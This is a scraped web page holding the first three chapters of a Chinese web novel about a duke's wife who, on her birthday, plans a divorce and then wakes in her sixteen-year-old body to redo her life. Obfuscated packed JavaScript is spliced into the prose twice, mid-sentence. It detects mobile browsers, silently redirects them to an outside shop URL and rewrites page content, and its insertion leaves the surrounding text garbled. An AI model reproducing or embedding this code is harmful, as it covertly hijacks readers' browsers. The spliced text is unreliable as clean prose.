《夫人她迷途知返后》 1. 第 1 章 嫉妒,是一个人与生俱来难以逃避的本能。 对怀栀而言,她花了足够长的时间才能够坦然直面这种本能,毕竟,一个人嫉妒起来的嘴脸,真的不太好看。 承认自己没有那么美好良善,也是需要相当大的勇气的。 *** 成平七年的春天到来时,帝京里一如既往的富贵锦绣。 三月初二是定国公夫人的生辰,是以这日京中最热闹的地方当属定国公府,毕竟,以定国公薛琮如今在朝中独掌大权的声威以及一手扶持小皇帝登基的无上功劳,薛家这煊煊赫赫的显贵与尊荣,也得称得上一句理所应当。 于是,定国公后院中这唯一一位颇受爱重的发妻,自然也成为了人人追捧讨好的尊贵人物。 此时的国公府外满是络绎不绝的车马人流,入眼皆是公侯勋贵与锦绣华服,一派喜庆之色的氛围里,外面许多专门来瞧热闹的闲人们不免要聊上几句。 “这国公府,当真是权势风头一时无二啊!” “为国公夫人庆生,这个场面也不算大,也就是这两年薛家低调了些,要是前几年的话,但凡薛家办个什么宴会,这前后两条街都堵得满满当当,放眼望去,登门的个顶个的全是朝中重臣……” “确实如此,话说,如今普天之下,除了宫里那位太后娘娘,恐怕就属这位夫人最炙手可热了。” “那可不,听说这位夫人喜好奇花异草,你看今日入府的这些寿礼,哪个不是投其所好!” “说起来,比起什么奇花异草,我还是更好奇外面那个传言,听说北蛮王庭献上的那顶前朝后冠,如今在国公夫人手里?” “什么,不是说这传言是假的吗?” “假的?我看未必,俗话说空穴来风未必无因,为了拉拢定国公扶持陛下,一件首饰而已,纵然再珍贵再有意义,太后娘娘也并非舍不得,毕竟,舍不得孩子套不着狼啊!” “啧啧,你们这些人消息不灵通啊,真要说舍的话,娘娘和那位大人之间,说不好是谁吃亏占便宜呢……” “你小子又有什么灵便消息,快说来听听!” …… 这些含着戏谑之意的窃窃私语与外间各色言谈的热闹,只是今日繁华喧闹场景下一朵微不足道的水花,影响不了定国公府内女主人的心情。 作为今日万众瞩目众星捧月的主角,沈怀栀从早起伊始,心情就十分不错。 即便这时候本该在府中为她的生辰宴增光添彩的男主人根本不见踪影。 沈怀栀成婚十几年的丈夫,那位年纪轻轻就战功彪炳身居高位的定国公薛琮,今日一大早便被小皇帝宣召入宫,日上中天时依旧不见回返,一副十分忙碌可能要错过妻子生辰宴的架势。 不过她本人看起来似乎并不太在意。 “前两天清晖园那边回话说,那些从南边寻来的优质粮种试种情况很不错,早先撒下的种子也顺利发芽,生长情况格外喜人……” “听起来都是好消息。”因着今日生辰宴华服加身气质格外端庄优雅的沈怀栀微微笑了笑,口中却说着与这锦绣富贵南辕北辙的庸俗琐碎事,“花园里那块我让人专门辟出来用以培育各色新种的田地,今年也有许多幼苗顺利发芽长成,看情况长势极好,若是贸贸然移栽的话,还真是让人有些担心呢。” 话虽是这么说,但只看眼神,就知道这人显然是主意颇正不容人置喙的。 春日的定国公府,到处是生机勃勃惹人喜爱的青翠绿意。 此时,国公府外人流如织,府内也是笙歌鼎沸,丝竹之声绕梁不绝,觥筹交错间男宾女客们俱是笑语盈盈。 宴会正酣时,宫中来人,代表太后娘娘送来赏赐,正是前段时间坊间热议许久的前朝凤冠。 这顶属于前朝皇后的九龙九凤冠确实足够尊贵足够美丽,无论是口衔珠滴的金龙与点翠金凤,还是冠上镶嵌的数不清的光华璀璨的珍珠与宝石,其富丽堂皇之象,看到的人无不被打动。 是以,这份赏赐甫一出现,就俘获了在场所有人的目光,尤其是在座的女客们,看着凤冠的眼神更是异彩连连。 因为这顶凤冠的尊贵与美丽,被赏赐的沈怀栀瞬间引来许多羡慕与嫉妒,而她那份欣然笑纳的姿态,更是让无数人恨不得以身相代。 然而,在艳羡嫉妒的同时,席间有些夫人也默契的交换着一些彼此才心知肚明的微妙眼神。 因为这份微妙,此时她们便格外关注沈怀栀的一举一动。 她们仔细盯着她的神色与眼神,生怕放过一丝一毫的不妥,似乎极力想从她脸上看出些勉强与不虞来,然而,最终却只能失望气馁的按下无数微妙心思。 毕竟,沈怀栀那张脸上,除了再完美不过的端庄优雅与大方气度,再无其他。 于是,纵使不甘心,也得承认她这副假面戴得完美,而且,或许是过于完美了,似乎当真能让人从她那张漂亮出挑的脸上看出几分情真意切的笑意来。 沐浴在各色视线中的沈怀栀,心底一片平静。 她看着那顶漂亮的凤冠,心想,这确实是那位太后娘娘居高临下的施恩与赏赐,但也不见得没有炫耀示威与打压的意思。 君不见,今日这场生辰宴中最重要的另一个主角,始终不曾出现。 宴席依旧热闹,但所有人言笑晏晏的背后,是只有自己心知肚明的各色心思。 戏楼上,专门从江南请来的戏班子唱得圆满热闹,戏台下,人人笑意盈盈嘴甜如蜜,好一派你好我好大家好的融洽之景。 坐在上首的沈怀栀忍不住挑了下眉,看,这就是帝京,从古至今都是同一种景致,一如她们这些京中贵妇们千篇一律的矫饰人生。 年少时候,这是她最厌恶的生活,谁料多年后,最终选择这种生活的,却是她自己,甚至于,她似乎还活成了虚伪之中的佼佼者,令人不得不感叹一句物是人非。 宴席过半,有些腻烦的沈怀栀中途退了场,但是在场众人任谁都不会对她多言一字半句,这便是权势带来的优容与底气。 春光正好的花园里,假山凉亭上,沈怀栀举目远望,正好可以看见大半皇宫景象。 她问身旁人,“冬娘,宫中有说国公何时回来吗?” 冬娘摇了摇头,姿容清丽的右脸上那块伤疤在阳光下格外显眼,“暂时还未,不过夫人不必心急,您总归是能得偿所愿的。” 闻言,沈怀栀笑了下,神情有些无奈,“我的冬娘啊,如今普天之下,怕是只有你会愿意这么说这么想了。” “其他人如何我不在乎,”冬娘道,神情和话语一般坚定,“在我心里,夫人的想法和意愿才是最重要的,任谁都比不上。” 这话听起来实在是让人心情愉悦,怀栀露出几分真切笑意,“好吧,果然我们冬娘,是最好的。” 和那个人一样的好。 *** 人至中年的沈怀栀,是朝堂内那位呼风唤雨大权在握的定国公的原配发妻,帝京之内再风光不过的一位贵妇。 外人眼里,她的生活是极其圆满自在的,夫君位高权重,给她带来无限荣光,家宅后院清净,没有姬妾争宠烦心,一双儿女懂事优秀,家庭和睦,亲缘顺遂,更别提所到之处皆是他人的低头讨好与谄媚逢迎,可谓是四角俱全,事事顺心如意。 但凡事总有两面,光鲜亮丽的背后,是如人饮水冷暖自知,于她自己而言,这样的生活却称不上喜欢。 至于不喜欢的原因—— “没想到娘娘居然真的把凤冠赐给她了?当真是大度。” “一个凤冠而已,再好看也不过是死物,只要娘娘想要,那位大人怕是能再寻十个八个回来,有什么好可惜的。” “说的也是,如今除了这些名头和死物,她也守不住什么了。” “就是说啊,还什么恩爱非常情深似海,也就拿来哄哄那些不知情的人罢了,至于定国公真正看中的女人是谁,咱们这些人谁不知道呢!” “啧啧,不过大家顾着颜面你好我好的一起做场戏罢了,真要当真了,那可真成大笑话了。” “是啊,你瞧瞧,现在这场面还不够可笑吗,她过生辰,大人都在宫里陪娘娘呢,也就只剩面上这点光鲜了……” “唉,我想起当年她痴恋薛琮非君不嫁的旧事了,再对比如今,当真是让人唏嘘。” “有什么好唏嘘的,就算是做摆设,如今也够风光了,换多少人都上赶着乐意呢!” …… 明媚阳光下,那些窃窃私语低嘲暗笑随着春风飘过来,掀起一片绿海涟漪。 怀栀坐在亭中,不紧不慢的摆弄着腰间的玉佩,面上不见丝毫芥蒂,看起来半点不在意自己成为他人口中嘲弄取笑的话题。 “夫人,”冬娘突然出声道,“这边光线不好,不如换个地方赏景吧。” “何必呢,”怀栀笑看她,“我又不在意。” 她视线落在下面相携离开的几位夫人身上,轻声道,“冬娘你说,她们明知道这里不是说闲话的好地方,有被人发现触怒我的风险,却偏偏就是按捺不住心思,非要故意在府里说这些闲话,说不得还打着让我亲耳听到的主意,你说,这是为什么?” “无非是嫉妒罢了,”冬娘冷冷道,“夫人这些年,被人嫉妒中伤的还少吗?” “是啊,嫉妒……”怀栀叹了口气,突然轻笑出声,“她们不过是太嫉妒了而已。” 因为嫉妒,所以千方百计费尽心思的想要刺破她这张看起来完美的假面,想要看她痛苦,看她出丑,看她崩溃,这所有一切的恶意,无非是源于根植在本性之中无法自控的嫉妒本能罢了。 沈怀栀得承认,她这半生的命, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那时候她多信任他啊,只可惜,薛琮给她的回报,是让当年那个满腔豪言壮志信誓旦旦的姑娘变成一个笑话,让他相敬如宾的妻子再不复曾经。 怀栀得承认,从过去到现在,无论时间过去多久经受多少磨砺,她骨子里某些东西都从不曾变过。 或许她曾经被嫉妒与憎恨裹挟过,险些变成一个自己都不愿意承认面对的丑陋之人,但幸好,她总有那么两分好运气,能及时从泥潭深渊中脱身。 薛琮有和他一起赏梅的太后娘娘,而她,窗前也有一棵属于自己的海棠树。 *** 宴席结束后的傍晚,怀栀坐在临窗的榻上赏花。 院中那株海棠树正值花期,盛开得热烈,重重叠叠的重瓣花朵缀在枝头,是明艳喧嚣的艳红色,她喜欢这样灼灼盛放的花,虽然在许多人眼里,它美得普通又庸俗。 年少时,弟妹的院中就有这样一棵母亲亲手种下的海棠树,而现在她的院子里也有一棵,怀栀对此很是心满意足。 因为有了这棵海棠树,所以怀栀不再恨薛琮,甚至于,她开始理解他,赞同他,最后成为了另一个他。 只是,这样的他们却是不能再作为夫妻继续走下去的。 于是,在成平七年她三十二岁生辰这日,她为自己准备了一份最好最合适的生辰礼—— 一份和离书。 等薛琮从宫中归来,她就可着手同他一起结束眼前这段味同嚼蜡的婚姻与人生。 窗外晚风吹拂而过,带着微微的冷意,有些沁凉湿润的风送来了如丝如线的春雨。 滴滴答答落在地上的声响催生几分困意,神思散漫的怀栀,想起了许多年前的旧事。 恍惚中,仿佛有旧日话语响在耳边。 “嫁给他,你当真不后悔?” “别人待你苛刻,你便更要珍惜自己,否则岂不是让那些人如意?” “说来可笑,我心中确实有一桩意难平……” “怀栀,珍重。” …… 淅沥沥雨声里,怀栀仿佛看到了年少时尚且稚嫩的她。 年轻的姑娘一腔天真孤勇,以为自己努力就能得到想要的,以为真心是能换来真心的,以为自己能够抓住她这一生都祈求渴望的真情,但偏偏,她的天真与孤勇都是不合时宜的,付诸给了错的那个人。 然而,除了后悔与改正之外,错误从来没有重来的机会。 是以,就算是梦也好,怀栀是真的想尝一次,迷途知返的滋味。 外间春雨渐大,急促的雨声里,是侍女通报薛琮回府的声音,熟悉的脚步声逐渐接近,等了一天有些疲倦的怀栀想起放在妆奁中的和离书,微微困顿的闭上了眼睛。 既然她等的人已经回来了,何妨小憩过后,再与他谈。 外面的雨越来越大,哗啦啦雨声中,怀栀彻底陷入了沉眠。 2. 第 2 章 帝京的春三月,大好的春日光景中,沈府之内老夫人所居的荣辉堂里,正飘荡着今年头茬春茶的香气。 虽才三月初,但这来自于南疆之地梧州的春茶已然上贡至宫中,出任梧州刺史已近三年的沈家二老爷,仅凭这每年独一份的贡品,就颇有几分圣心,更别提他外任多年,在地方上励精图治,保境安民,以致于现下沈家虽然在朝中式微,但他本人却凭借着才能功绩一路从下州刺史步步高升至如今梧州这个上州刺史,也称得上是朝廷里备受重用的封疆大吏。 因为多年外任不能归京的缘故,沈二老爷格外孝顺母亲,这不,今年同春茶一同入京的还有许多重礼。 李嬷嬷专心的为自家主子煮茶,茶煮好后奉给一旁守着两盆松树盆景仔细修剪的老夫人。 气质端庄慈爱的沈老夫人品着茶香,悠悠道,“一叶知春,确实是难得的好茶。” “都是二老爷对您的孝心,”李嬷嬷笑道,“只要您喜欢,二老爷就高兴。” “老二是孝顺,”沈老夫人笑意深深,“要不然也不会把嫡长女留在京里孝顺长辈。” 说到二房的嫡长女沈怀栀,李嬷嬷低声开口,“七姑娘虽有些小脾气,但向来听您的话,也是个难得的好孩子。” 闻言,沈老夫人笑了,神色莫名,“栀姐儿是个好孩子没错,至于听不听话,那就仁者见仁智者见智了。” 谈及七姑娘不听话这一茬事,李嬷嬷识趣的没接话,作为在老夫人身边伺候了多年的心腹,她很清楚有些事不是她该插嘴评判的。 “去年栀姐儿及笄,这婚事就该相看起来了,以老二如今的官位,本来我对她的婚事另有打算,只可惜,情窦初开的年轻姑娘,这不动则已,一动惊人,眼光格外好的给自己挑了个难啃的骨头。” 提到那根难啃的骨头,李嬷嬷眼皮子跳了跳,再看老夫人,发现她面色也称不上好看。 “永嘉侯世子薛琮……”沈老夫人念叨着这个帝京之中年轻一代里出尽风头的天之骄子,“确实是个难得的金龟婿,要不然这京中许多人家也不会趋之若鹜,只可惜,对栀姐儿似乎不太中意。” 其他的事李嬷嬷不好插嘴,但关于七姑娘的婚事,她还是能接上两句话的,“老夫人不必担心,自古婚姻大事,都是父母之命媒妁之言,虽说薛世子双亲早已不在,但有侯府太夫人开口,这婚事也不见得成不了,论条件,咱们七姑娘还是很不错的,太夫人和您多少还是有些默契的。” “默契算什么,”沈老夫人轻哼一声道,“就算彼此再心知肚明又如何,这婚事一日没真正定下,婚书一日没写,一切就都不过是空中楼阁罢了,当不得真。” 这话确实是大实话,以沈老夫人和李嬷嬷的年纪,多年来没少见因为婚事上临门差一脚闹出的尴尬与难堪,因此自然愈发担心在意与薛家之间这桩将成未成的婚事。 说到让她操心的婚事,沈老夫人不免要问上一句她那好孙女的情况,“栀姐儿这两日如何了?今年她非要在外面办生辰宴,结果临了闹了一肚子气回来,现在天天窝在春芜院不出门,也不知又要闹什么幺蛾子。” 知道老夫人关心孙女,李嬷嬷事无巨细的汇报,“如今这天气春寒未消,七姑娘回来那天不巧吹了风受了寒,不免有几分不舒服,请了大夫回来吃了几帖汤药后,这两日刚好转,正好清清静静的养上几天。” “这又是闹脾气又是风寒的,果然是年轻姑娘家,心思和精力都挥霍不尽。”沈老夫人感叹道,“我听丫头说,她专门请了许多朋友和薛世子一起过生辰,结果不知因为什么和周御史家的姑娘闹了矛盾,宴席不欢而散不说,自己也因为负气回家染了风寒,算起来当真是赔了夫人又折兵,也不知到底折腾个什么劲儿。” “年轻姑娘是这样的,”李嬷嬷笑道,“毕竟,谁还没有个年轻气盛的时候呢,您又宠七姑娘,她难免有些小脾气。” “小脾气?”沈老夫人哼笑一声道,“我看不见得。” “这孩子从前可听话懂事得很,不说事事顺从贴心,也称得上是稳重识大体,哪像现在,及笄后跟换了个人似的,性子左得厉害……” 老夫人这样一说,李嬷嬷发现事情确实如此,七姑娘性情有了变化正是在及笄之后,从前知情识趣懂事贴心的一个人,现在叛逆得厉害,主意大过天不说,还格外的敢想敢做,要不然现在外面也不会沈家七姑娘痴恋薛世子的流言漫天飞了。 本来以为是年轻姑娘为爱痴狂,但想想那个时间点,李嬷嬷心突然重重的跳了一跳,该不会是七姑娘知道了些什么才故意这么闹吧? 心里有了猜测之后,李嬷嬷再看老夫人,瞬间更加小心翼翼的伺候起来,不敢再多思多想多言。 比起身旁仆婢的夹起尾巴做人,沈老夫人自己却是慈爱依旧,甚至还颇有闲情逸致的道,“也算是有段日子了,以栀姐儿的脾性,现在应当是消气了,小姑娘年轻气盛不算事,但也得知进退识分寸,这才称得上是我沈家教养出来的好姑娘。” “李嬷嬷,你亲自去春芜院瞧瞧,看那边是个什么情况。” 闻言,李嬷嬷赶忙带着人去春芜院那里探情况,剩余的几个年轻丫头则赶忙凑上去小意殷勤的说了许多笑话,终于将老夫人逗得开了怀,荣辉堂里气氛才算好了许多。 得了主人吩咐的李嬷嬷去得快,回来得更快,单单只看神情,瞧不出什么好坏。 她是这么跟沈老夫人回话的,“这几日七姑娘安分喝药,据说没吵也没闹,整日都面上带笑,看起来心情不错,半点不像还在生气的样子……” “至于其他,”李嬷嬷神色微妙的道,“听冬青那丫头的说辞,这段时日,关于薛世子的事,七姑娘没怎么提起过,态度不复之前热情,甚至还有点冷淡,倒是前两日突然有了新兴趣,让人出府去清兰居买了几盆兰花回来,天天不假手于人的仔细伺候着……” 听到这里,沈老夫人停下手中修剪盆栽的动作,微微皱眉,神色不大好看。 莫名的,她突然有了一种去年栀姐儿婚事出岔子时的糟糕预感,原本一切尽在掌握的顺风顺水,似乎又有什么重要事情即将脱轨了。 她神色凝重的看向侍奉她许久的心腹李嬷嬷,沉声道,“栀姐儿那里的情况,你再仔仔细细的跟我说上一遍,半点都不准遗漏!” *** 春芜院里,李嬷嬷的到来和离去并未造成多大影响,丫鬟婢女们依旧按照主子吩咐有条不紊的做事,如往日那样按部就班。 倒是这座院子的主人沈家七姑娘,在亲近的婢女们看来这两日多少有些奇怪。 而被认为有些奇怪的沈家七姑娘沈怀栀,此时正坐在妆奁前认真的照镜子。 光亮如新的铜镜里,映出一张年轻少女的娇艳容颜,艳丽如春日枝头盛放的嫣红海棠花,十足的清新与娇俏。 然而,拥有这张出众容颜的少女,一双眼睛却并不明媚天真,纵然嘴角含笑,看起来也并不轻佻,甚至有几分难言的沉稳与端庄。 沈怀栀看着镜子里的自己,不清楚眼前的自己是庄周梦蝶还是蝶梦庄周,但不管是哪一种,她似乎都终于实现了自己曾经的妄想。 正所谓黄粱一梦,就算眼前是一场不知何时就会醒来的美梦,她也要在梦里尝一尝纠正错误迷途知返的滋味。 尽情享受当下,是她所能给自己的最好慰藉。 是以,当冬青进门时发现自家姑娘又在照镜子,是一点都不觉得意外,毕竟,这两日她早就习惯了姑娘的异样,当然,除此之外,姑娘还喜欢问一些奇奇怪怪的问题,比如—— “冬青,你说,我若梳妇人发髻的话,会是什么样子?” 冬青虽有些惊讶,但想了想还是认真回道,“姑娘不论什么打扮都是最好看的,不过,姑娘怎么突然想起问婢子这个问题?” 坐在铜镜前的沈怀栀轻舒一口气,笑了笑道,“大概是因为,我突然觉得那样的我不好看吧。” “我好像不喜欢那样的自己。”她说。 “可是,不管喜不喜欢,女子到了年纪,总归是要嫁人的。”冬青说。 “是啊,女子到了年纪是要嫁人的,”沈怀栀从镜前起身,去往隔壁的小书房,语调轻而缓,“如今这世道,想嫁人,得有本事和成算,不想嫁人,就更要有本事和谋算。” 自家姑娘的后半句话,冬青没能听得太清楚,但“嫁人”这两个字,却是格外清楚错不了的。 她心说,难道姑娘又要对薛世子故态复萌了吗? 不怪冬青这么想,实在是去年及笄后,她们家姑娘在某次宴会上对永嘉侯府的那位薛世子一见钟情之后,行事就有几分出格。 说起来,她们姑娘自小养在沈家老太爷和老夫人膝下,也算备受两位长辈疼爱,虽说老太爷走得早,但有老夫人教导,幼承庭训的姑娘无论是教养还是性情都称得上是一等一的出色。 只是,这份出色截止于姑娘对那位薛世子心生爱慕之前。 冬青从来没想过,自家姑娘情窦初开相中一个人后,居然会是这等模样,不止光明正大的对那位薛世子频频示好,还屡次尝试邀请对方一起游湖赏花或踏春交游,虽说这些邀约未曾被答应,但也挡不住姑娘试图示好的热情。 尤其是前段时间姑娘生辰,她本打算给薛世子送香囊,只是不知对方说了什么难听话,惹得她伤心生气,若非后来碰巧和周御史家的姑娘起了冲突,这事情怕是还不好收场。 只要一想到姑娘会在外面传出私相授受的名声,冬青的心就格外沉重,虽说如今国朝风气开放,对女子的束缚不如前朝那么严重,但女子言行若是太过出格,到底还是有碍声名的,至少于婚嫁之事上就十分不利,所以,当这几日姑娘对薛世子的情意冷了几分后,她甚至是有些轻松开心的。 不过,冬青也很清楚,这轻松是短暂的,怕是过不了几日,姑娘就要故态复萌,继续追着薛世子跑了,反正家里其他人都劝不动,老夫人也管不了,她作为自家姑娘的贴身大丫鬟,也只能跟着走一步看一步了。 至于现在,她就想着姑娘是不是养好身体后又要开始围着薛世子转了…… 贴身婢女在想些什么沈怀栀是半点不知情,当然,现在的她也并不关心,此时的她在书桌前正襟危坐,一边研墨一边思索着即将写下的这封信的内容。 刚过完十六岁生辰的沈怀栀,是一个婚事尚在商榷中,和心上人刚闹了矛盾的天真姑娘。 她有着还算不错的家世和尚算出众的容貌,因为父亲的关系,在沈家一众姑娘中算是备受宠爱,虽说自幼不在父母身边长大,亲情上有几分缺失,但到底没受过苛待,生活还算平静圆满。 只是这份略有瑕疵的圆满,在她十五岁及笄之后,突然就出现了难以直视的裂痕。 沈怀栀自小就知道,虽然她作为二房的嫡长女自幼养在祖父母膝下是备受宠爱重视的,但真正重视宠爱她的是那位早就过世的祖父,至于祖母,虽然面上看似一碗水端平,但天长日久下来,她很清楚祖母真正偏爱的是大房的几个孙子孙女。 因为大伯父早逝的关系,她本就十分怜爱大房的几个子女,再加上大伯母多年来陪伴服侍的情分,自然是多年来始终在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711415|144571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外的二房和不省心的三房与四房等人比不得的,至于那些早就被分出府去的庶房们,更是无从比较。 而沈怀栀,作为二房唯一在京中的嫡女,她自然是受看重的,但这份看重却是因为她那位为官颇有出息的父亲,她本人在老夫人那里甚至是不太讨喜的,原因则是因为她有几分肖母,她那位让父亲不惜违背母命非要娶进门来家世低微且过于美貌的母亲。 当然,这些是当年尚且年轻的沈家七姑娘所不知道的内情,但现在的沈怀栀,却是对这个家里的诸多隐晦一清二楚。 不过,对年少的沈怀栀而言,不被祖母偏爱也没什么,至少老夫人讲规矩重颜面,面子功夫做得好,多数时候看起来还是一视同仁的。 但这份天真仅止于她及笄之后知晓老夫人的打算时。 说实话,每个姑娘年少时都对成婚这件事有着独特的憧憬,在沈家大房的两位姐姐因为老夫人的谨慎贴心与细致顺利嫁得门户相当的如意郎君之后,怀栀也不可避免的对自己的婚事生出向往与期待,只是她没想到,她并不会有前两位姐姐的好运,关于她的婚事,老夫人不是一般的志存高远。 荣辉堂里在老夫人身边伺候的红莲因为多年来七姑娘私底下的示好与打赏,终于在恰当的时机里给她送来了一条极为重要的消息—— 沈老夫人打算将府里这位精心培养多年的七姑娘物尽其用,或给某位国公做继室或给某位王爷做侧妃,反正都是要高嫁的,区别也只是二者择其一而已。 当年刚知晓这个消息时的沈怀栀说是霎时间整个世界天崩地裂也不为过,她知晓祖母对她没有偏爱,但能冷酷到将孙女的一生当做筹码去利用,无情至此,她不可能不心生怨怼。 为着这份怨怼,从前懂事乖巧的沈怀栀开始变得叛逆,于是,有了她对薛琮一见钟情后的种种出格言行。 沈怀栀不想自己的婚事成为老夫人摆布的筹码,所以选择了抗争,至于向远在梧州的双亲求助,却是她从未想过的,毕竟,曾经在父母身边呆的那两年时间,已足够她看清她在他们心里的地位。 一个不曾在身边长大没什么感情的女儿,对父亲来说是讨老夫人欢心孝顺长辈的牺牲品,对母亲来说,有爱屋及乌,自然也有厌屋及乌,她同样不喜欢这个被婆母养育得有几分似她的女儿。 沈怀栀的婚事就是这场亲情交易下的牺牲品,她的人生被全权交托给老夫人,未来被这位心里筹谋着再度振兴沈家的长辈所掌控。 为了摆脱这份掌控,沈怀栀用自己所能想到的手段去尽力抗争,那就是放肆的去挥洒对薛琮的好感。 很显然,她这份手段是奏效了的。 自从沈家七姑娘痴恋永嘉侯世子的名声传出去,怀栀从老夫人那里感受到的威胁与压力瞬间大减,为此,她开始变本加厉的去亲近示好薛琮。 现在回过头再去看,很难说当年少女沈怀栀对薛琮的过度爱慕里,除去情窦初开之外,有没有几分私心在。 想起往事,笔下不停地沈怀栀忍不住露出几分笑意,说起来,年少时的她好像确实有几分鲁莽与胆量,诸如在薛琮出现的地方追着他与他形影不离,排斥所有出现在他身边觊觎他的姑娘等等,这种莽撞无脑的事情没少做,既像是一只拼命开屏吸引配偶的鸟儿,也像是一只守卫领地的野兽,更像是话本子里纠缠男主角的无脑恶毒女配,看起来实在是招人厌烦。 不过她很清楚自己是有几分胜算的。 托老夫人一心重振沈家的福,那时她对京中的情形还算了解,圣人年老体衰,忌惮年轻力壮的皇子们,格外信任自己一手培养并提拔做心腹的永嘉侯世子薛琮,于是作为只效忠圣人的孤臣,薛琮在婚事上的选择就要格外慎重。 沈怀栀确信自己是个很不错的人选,和其他爱慕薛琮的姑娘比起来的话。 至少,在向来精于权衡利弊的老夫人眼里,她和薛琮之间,就是一桩不错的联姻,是以对她的选择还算认可,明里暗里给了不少方便,就算嘴上斥责得再严厉,但行动上真正约束她的手段却几乎没有。 而薛琮的祖母永嘉侯太夫人,想来也是同样的想法,所以才在孙子守完父母的双重重孝之后,在婚事上和沈老夫人有了默契。 现在,沈怀栀就处于这份将明未明的默契之间。 笔下写好的信纸已经厚厚一叠,沈怀栀一边斟酌一边动笔,现在的她很清楚自己的处境,以及能做些什么该做些什么。 她要打消老夫人的念头,解决和薛琮之间尚未定下的孽缘,要去救沦落教坊司的冬娘,还要彻底解决自己的婚事隐患,更重要的,还是要去见一见故人…… 沈怀栀停下笔,视线落在窗外那几盆兰花上,现在的她,应当是能救回那盆兰花的吧,希望她别让故人失望。 桌案上堆放着写好的一叠信,沈怀栀仔细修改检查一遍,重新誊抄过后,用火漆封好,唤了行事向来最为稳重的冬青进来。 “这封信至关重要,让人交给父亲在京中的心腹,走官驿加急送去梧州,就说我在京中等父亲的消息。” “是,姑娘。”冬青接了信仔细收好,就带着人出门办事去了。 院外春光正好,沈怀栀让人在廊下放了张摇椅,坐上去闭目养神晒太阳。 从前的沈怀栀只能选择依靠自己筹谋破局,这次,她打算用那对双亲来改变未来,毕竟,对祖母和她那对父母而言,所谓亲情也不过是虚伪矫饰的工具而已,真正能让他们退让妥协的,唯有利益与价值。 而恰好,现在的她已经能够熟练运用这种贵族圈子里的生存法则来为自己服务了。 3. 第 3 章 春日的春芜院里,坐落着许多错落有致的花草树木,盎然春意中尽显勃勃生机,沈怀栀视线落在这些花木上,微微怔了一怔。 回头再看,其实许多事情都是有迹可循的。 她自小在祖父身边长大,年纪大了之后,沈老太爷格外喜欢调弄花草,她跟在长辈身边,也顺势跟着学了不少有用的东西,时间久了,渐渐就养成了习惯。 世事有时是很奇怪的,如沈老太爷那般热情满满精心操持的,却经常状况频出,在花草一道上可以说是收获甚微,倒是她,看起来不上心不尽心的,做起事来反而顺手拈来,似乎当真有几分难得的天赋。 祖父去世之后,院里那些花草就全都留给了怀栀,而她一养就是许多年,后来当真凭借着这几分天赋做成了不少大事。 至少,沈怀栀现在掌控自己人生和未来的最大依仗与根基,就是她这几分被许多事实验证过的才华。 “姑娘,养身汤熬好了,您用一碗吧。”婢女夏月送了一盅汤品过来,放在怀栀手边的茶桌之上。 这几日睡得不算好的沈怀栀在阳光下忍不住打了个哈欠,最近的她夜里梦多思虑多,睡得不太安稳,老大夫就给安排了养身汤,喝了之后确实有几分效果。 怀栀一边懒洋洋的喝汤,一边盯着庭院中间那宽敞的空余位置。 自从那年从梧州回来后,她就生出了种棵树的心思,可是直到出嫁,这片位置都始终是空着的,即便是嫁给薛琮之后,她那份缺憾多年里亦从不曾被补全。 其实只是一棵海棠树而已,只要她想种,随口吩咐下去,无论什么时候,都会有许多人积极的为她分忧解难,可那时候的她偏偏固执的守着那一份难以诉诸于口的执念,生生将之酿成了自己的一个坎坷与磨难。 后来,她终于如愿得到那株只属于她的海棠树了,只是代价有些大,以致于她宁愿不要。 而现在—— “夏月,找人去买一棵好一些的海棠树种在我院子里吧,”沈怀栀突然开口道,“要花开得格外红艳的那种。” 对于自家姑娘的心血来潮,夏月虽然不明所以,但还是很快应了下来,“知道了,姑娘。” 沈怀栀满意的笑了笑,现在,她不用等谁再来送什么海棠树,她自己就能满足所求,让自己得偿所愿。 毕竟,这世间不会再有比她自己更了解更爱自己的人了。 大概是这一瞬间的坦然太过通透,准备回屋时沈怀栀突然又改了主意。 “算了,树不用买了,也不必种了,”她笑着说,“我早已经有了一棵海棠树,现在种不种的也没什么紧要。” 再者说,过不久她就要离京,这树种了也浪费,还不如留待日后她到达新的定居之地,到那时候拿来做恭贺乔迁之喜的礼物正正好。 *** 这天晚上,家中的姑娘们接到了来自荣辉堂的邀请,说是老夫人想要和孙女们共享天伦之乐,准备了一场热闹家宴。 沈怀栀自然毫不例外的要出席。 去往荣辉堂的路上,她还没见到自己那位惯于精打细算的祖母,就在花园里与几位姐妹狭路相逢。 “呦,七妹在房里窝了这么久,今天终于舍得出门了?”开口的是出身三房的五姑娘,这人性子一贯掐尖好强,说话也尖酸刻薄,算是家中姐妹里和沈怀栀最不对付的。 对于这位五姐,年少时候的沈怀栀偶尔还会彼此吵上两句,毕竟她脾气也算不上特别好,虽然多数时候不爱搭理这些挑衅,但真要犯到她眼前,不教训对方两下都对不起五姐的这份“姐妹情深”。 如今的沈怀栀面对来自年少五姐的挑衅,可谓是心如止水,她面上含着两分从容笑意,看起来颇为情真意切,认真的道,“多谢五姐对妹妹的关心,这份心意妹妹领了。” “不过,五姐与其用多余的闲情逸致关心我,这两日倒不妨去外面打听下李家公子的消息,想来会很有收获。” 闻言,脾气有些燥的五姑娘登时柳眉一竖,“老七你什么意思?在这里阴阳怪气什么?!” 沈怀栀微微一笑,半点不接茬,同旁边性情软些的六姑娘说道,“六姐,咱们一起走吧,可别让祖母等急了。” 六姑娘讷讷应一声,“好,我听说七妹这两日身子有些不舒服,现下如何了?” “多谢六姐关心,已经大好了。”沈怀栀道,“倒是六姐,听说老太太最近在帮六姐相看人家,姐姐可得上点心,千万不能被那些外表光鲜内里污糟的人家给忽悠了。” 